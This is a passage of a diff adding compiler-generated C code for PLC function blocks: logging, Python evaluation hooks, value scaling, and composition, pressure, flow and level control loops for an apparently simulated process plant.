Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + 